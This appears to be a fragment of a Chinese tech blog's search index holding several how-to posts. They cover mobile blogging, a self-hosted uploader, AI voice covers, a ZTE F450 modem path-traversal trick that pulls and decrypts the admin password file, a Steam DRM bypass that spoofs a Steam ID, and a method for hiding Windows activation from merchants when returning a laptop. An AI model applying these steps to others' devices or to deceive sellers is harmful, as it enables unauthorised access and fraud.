src=\"/posts/mobile-git/img/Screenshot_2025-11-11-14-15-01-63_b5a5c5cb02ca09c784c5d88160e2ec24.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e打开后导入仓库（\u003ccode\u003esrc/content\u003c/code\u003e）即可。如果你的使用习惯本身就围绕 Obsidian 展开，那么迁移到手机端也会比较自然。\n\u003cimg loading=\"lazy\" src=\"/posts/mobile-git/img/Screenshot_2025-11-11-14-15-59-46_51606159b24eff83e24a54116878fe3e.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e在桌面端，新建文章通常会使用 Fuwari 提供的 \u003ccode\u003epnpm new-post xxx\u003c/code\u003e 命令；不过在手机上，我们也可以曲线救国：随便选一篇现有文章，\u003cstrong\u003e创建副本\u003c/strong\u003e 后再修改元数据即可。\n\u003cimg loading=\"lazy\" src=\"/posts/mobile-git/img/Screenshot_2025-11-11-14-17-32-08_51606159b24eff83e24a54116878fe3e.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e最后，这篇文章本身也是我用手机写完的。\u003c/p\u003e","title":"如何在安卓手机上优雅的写我的博客"},{"content":"说在前面 首先，购买任何 较贵重的 电子产品，都应该录制 开箱视频\n一个 专业的 开箱视频应当：\n展示 完整的，无破损 的快递外包装 完整录制下拆箱过程。切勿遮挡，漏拍，剪辑过程 依次展示包装盒内的内容：包括 电子产品本体，说明书，保修卡等 检查产品是否 缺发，错发 检查产品外观是否有 破损，污损 完整录制下产品开机和测试过程 若 确定不想要了 ，请完整拍摄重新封包并退货的视频 开箱视频并不会每一次都用到，但在真正用到的时候一定可以减少纠纷\n激活原理以及绕过原理 现代的预装了Windows10/11的笔记本电脑，在出厂后第一次联网后会自动激活且无法撤销\n一旦联网，你的笔电将会\n和微软服务器通信并自动激活，上报主板id和激活码，自动激活，无需人工干预 将许可证写入系统，哪怕在断网并人为反激活后，依然可以在断网状态下再次激活 这道题看似无解，实则有解，归功于Windows按版本许可的激活和x86架构主板的开放性，我们可以采取以下措施做到： 既不激活系统，又能联网进行测试，且不破坏出厂预装系统\n首先，我们要知道，Windows的激活并不是一个许可证通杀所有版本。目前99%的笔记本电脑出厂预装 Windows 10/11 家庭中文版 联网后自动激活的也是这个版本\n那么，我们可以安装一个 非Windows 10/11家庭中文版 的系统（如：专业版，专业工作站版）\n接着，在这个 我们自己安装的 系统里面，大大方方的进行联网测试\n最终，测试完毕，若不满意想要退货，删除 我们自己安装的 系统，然后大大方方走 7天无理由退货 ，之后，只要你包装完整，不漏件丢件， 100%退款成功！\n实操 准备U盘，便于进PE装系统\n首先，买一台笔记本电脑，到货后通电自动开机\n关机，然后开机，进入bios，选择U盘作为启动项，进入U盘的PE系统\n打开分区工具，如diskgenius，分一个新区装新系统\n前往微软官方的Windows 10/11下载站下载 多版本的ISO（有些又叫multi-editon ISO）\n将ISO安装导新分的区，注意不要安装 Windows 家庭中文版，除此以外哪个都行\n开机，测试\n如果决定退货，请重新进入pe，还原分区，然后装箱封包退货退款\n邪道：已经激活了还想退 实验性方法，在你确认自己绝对不退之前请不要激活系统！！！这种方法会影响商家的二次销售，请体谅商家！！！\n如题，假如你已经手贱联网并自动激活了 Windows 家庭中文版\n那么很抱歉，激活了就是激活了，只要商家想查，会查，那么这台机子就是 已激活 你无法改微软的数据库，但是，如果你赌商家只看 系统层 是否激活，那这招可以一试\n首先，用heu kms卸载当前系统密钥，此时打开设置，Windows会被反激活\n这时，再找一个 专业版 的通用密钥，选择 升级Windows 输入密钥，等待系统自动升级为 专业版\n然后退货\n这种方法是在赌商家不会联网查询激活情况，当机子到商家那后，商家无法通过点击疑难解答来激活Windows。但是如果商家会刷机，一旦你的机子的Windows版本被刷回了Windows家庭中文版，就会自动激活，就露馅了\n","permalink":"https://blog.2x.nz/posts/check-notebook/","summary":"\u003ch1 id=\"说在前面\"\u003e说在前面\u003c/h1\u003e\n\u003cp\u003e首先，购买任何 \u003cstrong\u003e较贵重的\u003c/strong\u003e 电子产品，都应该录制 \u003cstrong\u003e开箱视频\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e一个 \u003cstrong\u003e专业的\u003c/strong\u003e 开箱视频应当：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e展示 \u003cstrong\u003e完整的，无破损\u003c/strong\u003e 的快递外包装\u003c/li\u003e\n\u003cli\u003e完整录制下拆箱过程。\u003cstrong\u003e切勿遮挡，漏拍，剪辑过程\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e依次展示包装盒内的内容：包括 \u003cstrong\u003e电子产品本体，说明书，保修卡等\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e检查产品是否 \u003cstrong\u003e缺发，错发\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e检查产品外观是否有 \u003cstrong\u003e破损，污损\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e完整录制下产品开机和测试过程\u003c/li\u003e\n\u003cli\u003e若 \u003cstrong\u003e确定不想要了\u003c/strong\u003e ，请完整拍摄重新封包并退货的视频\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e开箱视频并不会每一次都用到，但在真正用到的时候一定可以减少纠纷\u003c/p\u003e\n\u003ch1 id=\"激活原理以及绕过原理\"\u003e激活原理以及绕过原理\u003c/h1\u003e\n\u003cp\u003e现代的预装了Windows10/11的笔记本电脑，在出厂后第一次联网后会自动激活且无法撤销\u003c/p\u003e\n\u003cp\u003e一旦联网，你的笔电将会\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e和微软服务器通信并自动激活，上报主板id和激活码，自动激活，无需人工干预\u003c/li\u003e\n\u003cli\u003e将许可证写入系统，哪怕在断网并人为反激活后，依然可以在断网状态下再次激活\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e这道题看似无解，实则有解，归功于Windows按版本许可的激活和x86架构主板的开放性，我们可以采取以下措施做到：\n\u003cstrong\u003e既不激活系统，又能联网进行测试，且不破坏出厂预装系统\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e首先，我们要知道，Windows的激活并不是一个许可证通杀所有版本。目前99%的笔记本电脑出厂预装 \u003cstrong\u003eWindows 10/11 家庭中文版\u003c/strong\u003e 联网后自动激活的也是这个版本\u003c/p\u003e\n\u003cp\u003e那么，我们可以安装一个 \u003cstrong\u003e非Windows 10/11家庭中文版\u003c/strong\u003e 的系统（如：专业版，专业工作站版）\u003c/p\u003e\n\u003cp\u003e接着，在这个 \u003cstrong\u003e我们自己安装的\u003c/strong\u003e 系统里面，大大方方的进行联网测试\u003c/p\u003e\n\u003cp\u003e最终，测试完毕，若不满意想要退货，删除 \u003cstrong\u003e我们自己安装的\u003c/strong\u003e 系统，然后大大方方走 \u003cstrong\u003e7天无理由退货\u003c/strong\u003e ，之后，只要你包装完整，不漏件丢件， \u003cstrong\u003e100%退款成功！\u003c/strong\u003e\u003c/p\u003e\n\u003ch1 id=\"实操\"\u003e实操\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e准备U盘，便于进PE装系统\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e首先，买一台笔记本电脑，到货后通电自动开机\u003c/p\u003e\n\u003cp\u003e关机，然后开机，进入bios，选择U盘作为启动项，进入U盘的PE系统\u003c/p\u003e\n\u003cp\u003e打开分区工具，如diskgenius，分一个新区装新系统\u003c/p\u003e\n\u003cp\u003e前往微软官方的Windows 10/11下载站下载 \u003cstrong\u003e多版本的ISO（有些又叫multi-editon ISO）\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e将ISO安装导新分的区，注意不要安装 \u003cstrong\u003eWindows 家庭中文版\u003c/strong\u003e，除此以外哪个都行\u003c/p\u003e\n\u003cp\u003e开机，测试\u003c/p\u003e\n\u003cp\u003e如果决定退货，请重新进入pe，还原分区，然后装箱封包退货退款\u003c/p\u003e\n\u003ch1 id=\"邪道已经激活了还想退\"\u003e邪道：已经激活了还想退\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e实验性方法，在你确认自己绝对不退之前请不要激活系统！！！这种方法会影响商家的二次销售，请体谅商家！！！\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e如题，假如你已经手贱联网并自动激活了 \u003cstrong\u003eWindows 家庭中文版\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e那么很抱歉，激活了就是激活了，只要商家想查，会查，那么这台机子就是 \u003cstrong\u003e已激活\u003c/strong\u003e 你无法改微软的数据库，但是，如果你赌商家只看 \u003cstrong\u003e系统层\u003c/strong\u003e 是否激活，那这招可以一试\u003c/p\u003e","title":"限制级笔记本电脑验机教程"},{"content":"视频 https://www.bilibili.com/video/BV1Hz1DBZEov/\n明确需求 在做一个项目时，无论大小，首先我们要知道自己需要什么，哪些是刚需，哪些是次要的，哪些是根本不必要的\n深度思考一下，我觉得该项目使用场景应该在：当我处于非家庭环境，且手上有一台不直通家庭网络但是可连接至互联网的设备，需要传输一些非敏感文件且文件不大（如：文档，截图，小软件）\n那么大致的需求即为：\n基于Web网页，制作一个前端页面，必须包含一个 input file 。上传完成打印上传完成 后端将文件放到一个存储空间。该存储空间必须在家庭网络内较方便的访问 方案对比 这里提供两种方案，各有优劣：\n方案一：对象存储 方案二：本地服务器 稳定性 ⭐⭐⭐⭐⭐ 不依赖本地设备 ⭐⭐ 需要家庭电脑在线 复杂度 ⭐⭐⭐ 需要配置云函数 ⭐⭐⭐⭐⭐ 一行命令启动 成本 对象存储费用 无（家庭带宽） 适用场景 需要稳定运行 家庭电脑常在线 方案一：EdgeOne Pages + 对象存储 如果你希望服务稳定运行，不依赖家庭设备在线状态，那么对象存储方案更适合你。\n梳理思路 借助对象存储，我只需要找一个云函数连接到我的对象存储，然后提供一个上传端点即可。\n正式开始 于是我找到了EdgeOne Pages，它的Functions非常适合做这件事，且支持原生Node运行时，也就是 node-functions 直接使用 AWS-S3 这个NPM包再做一个最简单的前端上传页面，搞定！\n为了防止上传重名文件，每个文件上传后都会被重命名为 原文件名_时间戳_IP\n该项目已开源 afoim/EdgeOnePageFunctionUnknownUploader-S3-\n方案二：Python uploadserver 更推荐： https://github.com/svenstaro/miniserve\n如果你的家庭电脑通常保持在线，且追求简单易用，那么在自家电脑启动一个匿名文件上载器也是个不错的选择。\n安装 确保你安装了 Python\n安装 uploadserver\npip install --user uploadserver 接下来，创建并进入一个新文件夹，作为 上传目录\nmkdir upload cd upload 运行，并监听 IPv4 的 8000端口\npython -m uploadserver 8000 又或者，监听 IPv6 的 8000端口\npython -m uploadserver --bind :: 8000 接下来，你就可以在内网环境使用这个 文件上载器 了 打到公网 方法一：使用EdgeOne进行IPv6回源 将你的IPv6做 DDNS ，然后使用EdgeOne回源 方法二：STUN（仅NAT1可用） 当你的家庭网络为 NAT1 ，则可以使用类似这样的软件将你的 内网端口 直接打到 公网端口 （貌似该程序对TCP分片敏感，会导致RST） MikeWang000000/Natter: Expose your TCP/UDP port behind full-cone NAT to the Internet. ","permalink":"https://blog.2x.nz/posts/unknown-upload/","summary":"\u003ch1 id=\"视频\"\u003e视频\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://www.bilibili.com/video/BV1Hz1DBZEov/\"\u003ehttps://www.bilibili.com/video/BV1Hz1DBZEov/\u003c/a\u003e\u003c/p\u003e\n\u003ch1 id=\"明确需求\"\u003e明确需求\u003c/h1\u003e\n\u003cp\u003e在做一个项目时，无论大小，首先我们要知道自己需要什么，哪些是刚需，哪些是次要的，哪些是根本不必要的\u003c/p\u003e\n\u003cp\u003e深度思考一下，我觉得该项目使用场景应该在：当我处于非家庭环境，且手上有一台不直通家庭网络但是可连接至互联网的设备，需要传输一些非敏感文件且文件不大（如：文档，截图，小软件）\u003c/p\u003e\n\u003cp\u003e那么大致的需求即为：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e基于Web网页，制作一个前端页面，必须包含一个 \u003ccode\u003einput file\u003c/code\u003e 。上传完成打印上传完成\u003c/li\u003e\n\u003cli\u003e后端将文件放到一个存储空间。该存储空间必须在家庭网络内较方便的访问\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1 id=\"方案对比\"\u003e方案对比\u003c/h1\u003e\n\u003cp\u003e这里提供两种方案，各有优劣：\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e\u003c/th\u003e\n          \u003cth\u003e方案一：对象存储\u003c/th\u003e\n          \u003cth\u003e方案二：本地服务器\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e稳定性\u003c/td\u003e\n          \u003ctd\u003e⭐⭐⭐⭐⭐ 不依赖本地设备\u003c/td\u003e\n          \u003ctd\u003e⭐⭐ 需要家庭电脑在线\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e复杂度\u003c/td\u003e\n          \u003ctd\u003e⭐⭐⭐ 需要配置云函数\u003c/td\u003e\n          \u003ctd\u003e⭐⭐⭐⭐⭐ 一行命令启动\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e成本\u003c/td\u003e\n          \u003ctd\u003e对象存储费用\u003c/td\u003e\n          \u003ctd\u003e无（家庭带宽）\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e适用场景\u003c/td\u003e\n          \u003ctd\u003e需要稳定运行\u003c/td\u003e\n          \u003ctd\u003e家庭电脑常在线\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch1 id=\"方案一edgeone-pages--对象存储\"\u003e方案一：EdgeOne Pages + 对象存储\u003c/h1\u003e\n\u003cp\u003e如果你希望服务稳定运行，不依赖家庭设备在线状态，那么对象存储方案更适合你。\u003c/p\u003e\n\u003ch2 id=\"梳理思路\"\u003e梳理思路\u003c/h2\u003e\n\u003cp\u003e借助对象存储，我只需要找一个云函数连接到我的对象存储，然后提供一个上传端点即可。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/unknown-upload/img/unknown-upload-1.webp\"\u003e\u003c/p\u003e\n\u003ch2 id=\"正式开始\"\u003e正式开始\u003c/h2\u003e\n\u003cp\u003e于是我找到了EdgeOne Pages，它的Functions非常适合做这件事，且支持原生Node运行时，也就是 \u003ccode\u003enode-functions\u003c/code\u003e 直接使用 \u003ccode\u003eAWS-S3\u003c/code\u003e 这个NPM包再做一个最简单的前端上传页面，搞定！\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/unknown-upload/img/unknown-upload-2.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e为了防止上传重名文件，每个文件上传后都会被重命名为 \u003ccode\u003e原文件名_时间戳_IP\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e该项目已开源 \u003ca href=\"https://github.com/afoim/EdgeOnePageFunctionUnknownUploader-S3-\"\u003eafoim/EdgeOnePageFunctionUnknownUploader-S3-\u003c/a\u003e\u003c/p\u003e\n\u003ch1 id=\"方案二python-uploadserver\"\u003e方案二：Python uploadserver\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e更推荐： \u003ca href=\"https://github.com/svenstaro/miniserve\"\u003ehttps://github.com/svenstaro/miniserve\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e如果你的家庭电脑通常保持在线，且追求简单易用，那么在自家电脑启动一个匿名文件上载器也是个不错的选择。\u003c/p\u003e\n\u003ch2 id=\"安装\"\u003e安装\u003c/h2\u003e\n\u003cp\u003e确保你安装了 \u003cstrong\u003ePython\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e安装 \u003cstrong\u003euploadserver\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003epip install --user uploadserver\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e接下来，创建并进入一个新文件夹，作为 \u003cstrong\u003e上传目录\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emkdir upload\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecd upload\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e运行，并监听 \u003cstrong\u003eIPv4\u003c/strong\u003e 的 \u003cstrong\u003e8000端口\u003c/strong\u003e\u003c/p\u003e","title":"自建一个匿名文件上传终结点"},{"content":"基本原理 通过外接USB通过官方的文件管理注入路径 ../.. 来查看根目录，并将记录了光猫超密的文件复制到U盘并进行解密读取以知晓超密\n正式开始 首先准备一个U盘，必须带有 FAT32 格式的分区\n插入光猫的USB口，等待识别\n进入光猫的文件管理，查看U盘内文件。此时F12，选中其中一个文件夹，将 HTML 代码改为\n\u0026lt;a href=\u0026#34;javascript:;\u0026#34; style=\u0026#34;color:#535353;\u0026#34; onclick=\u0026#34;openfile(\u0026#39;../..\u0026#39;, false)\u0026#34; title=\u0026#34;System Volume Information\u0026#34;\u0026gt; System Volume Information \u0026lt;/a\u0026gt; 然后点击该文件夹，等待几秒后就进入了光猫的 / 目录\n复制 /userconfig/cfg/db_user_cfg.xml 到U盘\n拔出U盘，插入电脑，将 db_user_cfg.xml 拿出\n前往 RouterPassView - 从 Windows 上的路由器备份文件中恢复丢失的密码 下载\n解压并使用 RouterPassView 打开 db_user_cfg.xml\n搜索 tele ，寻找超密\n","permalink":"https://blog.2x.nz/posts/zte-f450-bridge/","summary":"\u003ch1 id=\"基本原理\"\u003e基本原理\u003c/h1\u003e\n\u003cp\u003e通过外接USB通过官方的文件管理注入路径 \u003ccode\u003e../..\u003c/code\u003e 来查看根目录，并将记录了光猫超密的文件复制到U盘并进行解密读取以知晓超密\u003c/p\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e首先准备一个U盘，\u003cstrong\u003e必须带有 FAT32 格式的分区\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e插入光猫的USB口，等待识别\u003c/p\u003e\n\u003cp\u003e进入光猫的文件管理，查看U盘内文件。此时F12，选中其中一个文件夹，将 HTML 代码改为\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;\u003cspan style=\"color:#f92672\"\u003ea\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ehref\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;javascript:;\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estyle\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;color:#535353;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   \u003cspan style=\"color:#a6e22e\"\u003eonclick\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;openfile(\u0026#39;../..\u0026#39;, false)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   \u003cspan style=\"color:#a6e22e\"\u003etitle\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;System Volume Information\u0026#34;\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  System Volume Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ea\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后点击该文件夹，等待几秒后就进入了光猫的 \u003ccode\u003e/\u003c/code\u003e 目录\u003c/p\u003e\n\u003cp\u003e复制 \u003ccode\u003e/userconfig/cfg/db_user_cfg.xml\u003c/code\u003e 到U盘\u003c/p\u003e\n\u003cp\u003e拔出U盘，插入电脑，将 \u003ccode\u003edb_user_cfg.xml\u003c/code\u003e 拿出\u003c/p\u003e\n\u003cp\u003e前往 \u003ca href=\"https://www.nirsoft.net/utils/router_password_recovery.html\"\u003eRouterPassView - 从 Windows 上的路由器备份文件中恢复丢失的密码\u003c/a\u003e 下载\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/zte-f450-bridge/img/zte-f450-bridge.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/zte-f450-bridge/img/zte-f450-bridge-1.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e解压并使用 \u003ccode\u003eRouterPassView\u003c/code\u003e 打开 \u003ccode\u003edb_user_cfg.xml\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e搜索 \u003ccode\u003etele\u003c/code\u003e ，寻找超密\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/zte-f450-bridge/img/zte-f450-bridge-3.webp\"\u003e\u003c/p\u003e","title":"ZTE光猫F450不拆机获取超密"},{"content":"正式开始 首先我们需要有一个完整的Steam版的游戏包体\n前往 Steam\\steamapps 你会发现有很多的 appmanifest_xxx.acf 文件。\n使用 记事本 挨个打开，知道找到你需要Hook的游戏，记录以下信息\n前往 Wu-Yijun/steam_client_loader\n下载最新的文件名带有 Windows 的 Release 解压，剔除无关文件\n编辑 ColdClientLoader.ini\n#My own modified version of ColdClientLoader originally by Rat431 [SteamClient] Exe=manosaba.exe ExeRunDir=. ExeCommandLine= #IMPORTANT: AppId=3101040 SteamClientDll=steamclient.dll SteamClient64Dll=steamclient64.dll Exe 填写要启动的程序名称\nAppId 填写上一步获取的\n保存\n进入 steam_settings\n编辑 force_steamid.txt 填入上一步获取的 LastOwner 字段的值\n编辑 DLC.txt 填入 AppId=Name，如\n3101040=魔法少女ノ魔女裁判 回到根目录，将所有文件复制到游戏文件夹内，如图\n随后运行， steamclient_loader.exe 即可在不启动Steam的情况下直接拉起游戏\n","permalink":"https://blog.2x.nz/posts/hook-steam-drm/","summary":"\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e首先我们需要有一个完整的Steam版的游戏包体\u003c/p\u003e\n\u003cp\u003e前往 \u003ccode\u003eSteam\\steamapps\u003c/code\u003e 你会发现有很多的 \u003ccode\u003eappmanifest_xxx.acf\u003c/code\u003e 文件。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/hook-steam-drm/img/hook-steam-drm-3.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e使用 \u003cstrong\u003e记事本\u003c/strong\u003e 挨个打开，知道找到你需要Hook的游戏，记录以下信息\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/hook-steam-drm/img/hook-steam-drm-4.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e前往 \u003ca href=\"https://github.com/Wu-Yijun/steam_client_loader\"\u003eWu-Yijun/steam_client_loader\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e下载最新的文件名带有 \u003cstrong\u003eWindows\u003c/strong\u003e 的 \u003cstrong\u003eRelease\u003c/strong\u003e\n\u003cimg loading=\"lazy\" src=\"/posts/hook-steam-drm/img/hook-steam-drm-1.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e解压，剔除无关文件\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/hook-steam-drm/img/hook-steam-drm-2.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e编辑 \u003ccode\u003eColdClientLoader.ini\u003c/code\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e#My own modified version of ColdClientLoader originally by Rat431\n[SteamClient]\nExe=manosaba.exe\nExeRunDir=.\nExeCommandLine=\n#IMPORTANT:\nAppId=3101040\n\nSteamClientDll=steamclient.dll\nSteamClient64Dll=steamclient64.dll\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003ccode\u003eExe\u003c/code\u003e 填写要启动的程序名称\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eAppId\u003c/code\u003e 填写上一步获取的\u003c/p\u003e\n\u003cp\u003e保存\u003c/p\u003e\n\u003cp\u003e进入 \u003ccode\u003esteam_settings\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e编辑 \u003ccode\u003eforce_steamid.txt\u003c/code\u003e 填入上一步获取的 \u003ccode\u003eLastOwner\u003c/code\u003e 字段的值\u003c/p\u003e\n\u003cp\u003e编辑 \u003ccode\u003eDLC.txt\u003c/code\u003e 填入 \u003ccode\u003eAppId=Name\u003c/code\u003e，如\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e3101040=魔法少女ノ魔女裁判\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e回到根目录，将所有文件复制到游戏文件夹内，如图\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/hook-steam-drm/img/hook-steam-drm-5.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e随后运行， \u003ccode\u003esteamclient_loader.exe\u003c/code\u003e 即可在不启动Steam的情况下直接拉起游戏\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/hook-steam-drm/img/VMWSQyHhF5.gif\"\u003e\u003c/p\u003e","title":"如何绕过Steam直接启动Steam上的游戏？"},{"content":"视频教程 https://www.bilibili.com/video/BV19F41zPEnM/\n流程 RVC：训练角色音色模型\nReplay：利用音色模型+原曲进行AI翻唱\nUVR\u0026amp;MSST：进行人声伴奏分离\n准备音源 至少10分钟，推荐1小时。音频内仅允许有一种音色，可以有停顿，如果想要更高质量可以自己裁剪停顿处\n利用RVC训练模型 进入 RVC-Project/Retrieval-based-Voice-Conversion-WebUI: Easily train a good VC model with voice data 10 mins! 根据你的系统和显卡来进行下载，或者使用该链接下载（国内高速） 语音克隆\u0026amp;变声器 整合包下载 注意不要下错了\n直接运行 go-web.bat\n进入 WebUI 并切换到训练一栏\n首先写模型名称\n然后将你的音源放到一个空文件夹\n然后填进去\n总训练轮数推荐50 ~ 200\n然后点击一键训练（需要很久，建议晚上睡觉前训练）\n训练结束后可以在 assets/weights 找到模型文件， .pth 结尾的\n利用Replay做AI翻唱 下载 Replay\n首先 Select Audio 选择你的原歌曲\nModel 选择刚刚训练出的模型\n然后点击 Convert Audio\n在输出的文件的 View in Folder 可以找到 干净的AI人声\n伴奏和人声分离 UVR 如果你是50系显卡请前往GPU Acceleration Hangs on RTX 5070Ti (Driver 576.80, CUDA 12.9) · Issue #1889 · Anjok07/ultimatevocalremovergui通过UVR_Patch_4_24_25_20_11_BETA_full_cuda_12.8下载适用于50系显卡的UVR\n下载 Anjok07/ultimatevocalremovergui: GUI for a Vocal Remover that uses Deep Neural Networks.\n首先下载模型，选择设置\n选择 Download Center 下载 VR Arch 的 5_HP-Karaoke-UVR 模型。然后回到首页 首先通过 Select Input 选择原音频\n然后通过 Select Output 选择输出的文件夹\nCHOOSE PROCESS METHOD 选择 VR Architecture\nCHOOSE VR MODEL 选择我们刚刚下载的 5_HP-Karaoke-UVR 模型\n勾选 GPU Conversion\n然后点击 Start Processing\n输出文件夹中 Instrumental 为伴奏， Vocals 为人声\nMSST 下载 SUC-DriverOld/MSST-WebUI: A WebUI app for Music-Source-Separation-Training and we packed UVR together!\n双击 go-webui.bat 运行\n首先去安装模型。每个模型的最终输出文件可能不一样\n然后都是字面意思了，随后点击 输入音频分离 开始转换\n","permalink":"https://blog.2x.nz/posts/rvc/","summary":"\u003ch1 id=\"视频教程\"\u003e视频教程\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://www.bilibili.com/video/BV19F41zPEnM/\"\u003ehttps://www.bilibili.com/video/BV19F41zPEnM/\u003c/a\u003e\u003c/p\u003e\n\u003ch1 id=\"流程\"\u003e流程\u003c/h1\u003e\n\u003cp\u003eRVC：训练角色音色模型\u003c/p\u003e\n\u003cp\u003eReplay：利用音色模型+原曲进行AI翻唱\u003c/p\u003e\n\u003cp\u003eUVR\u0026amp;MSST：进行人声伴奏分离\u003c/p\u003e\n\u003ch1 id=\"准备音源\"\u003e准备音源\u003c/h1\u003e\n\u003cp\u003e至少10分钟，推荐1小时。音频内仅允许有一种音色，可以有停顿，如果想要更高质量可以自己裁剪停顿处\u003c/p\u003e\n\u003ch1 